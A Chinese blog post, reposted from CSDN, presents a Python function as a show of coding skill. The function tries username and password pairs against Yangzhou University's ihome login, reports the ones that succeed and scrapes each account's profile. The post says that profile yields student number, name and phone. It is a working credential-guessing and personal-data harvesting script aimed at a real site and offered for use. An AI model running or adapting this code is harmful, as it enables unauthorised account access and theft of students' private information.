码迷,mamicode.com
首页 > 编程语言 > 详细

【Python】写了个比较见功力的函数

时间:2015-02-09 00:52:16      阅读:234      评论:0      收藏:0      [点我收藏+]

标签:

功力不是体现在独具匠心的构造

而是体现在对几个对象的熟练处理,"得心应手"不过如此了。

def getinfo( tp=('1000000', '888810'), queue=queue ):
     username, password = tp
     try: 
       s = requests.Session()
       r = s.post( "http://ihome.yzu.edu.cn/appdeskWeb/authenLogin", data={'goto':'http://ihome.yzu.edu.cn:80/ihome/index?null','username':username, 'password':password}, headers={ 'Host': 'ihome.yzu.edu.cn', 'User-Agent': 'windly spider'}, timeout=7 ) 
       r.headers['content-length']
       print '\033[91m Got it:  {} \033[0m'.format(tp)
       s.get('http://ihome.yzu.edu.cn/ihome/authen?decodedCookieValue={}&callbackUrl=http://ihome.yzu.edu.cn:80%2Fihome%2Findex%3Fnull'.format(s.cookies.get_dict()['jnTitkect']), headers={ 'Host': 'ihome.yzu.edu.cn', 'User-Agent': 'Super monkey'}, timeout=7 )
       t = s.get('http://ihome.yzu.edu.cn/ihome/profile/info', headers={ 'Host': 'ihome.yzu.edu.cn', 'User-Agent': 'Super monkey'}, timeout=7 )
       _ = [x for x in  [x.replace('\r', '').replace('\t', '').replace('\n', '').replace(' ', '') for x in re.compile('5px;">(.*?)<', re.DOTALL).findall( t.content )] if x]
       queue.put(_)
       print _, 'Queue \'s size', queue.qsize()
     except: 
       pass
       print '\033[91mthe network is not the girl\033[0m'

获得一个列表

[‘xuehao‘,

‘xing ming‘,

‘ss‘,

‘phone‘

]

【Python】写了个比较见功力的函数

标签:

原文地址:http://blog.csdn.net/u010211892/article/details/43649553

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!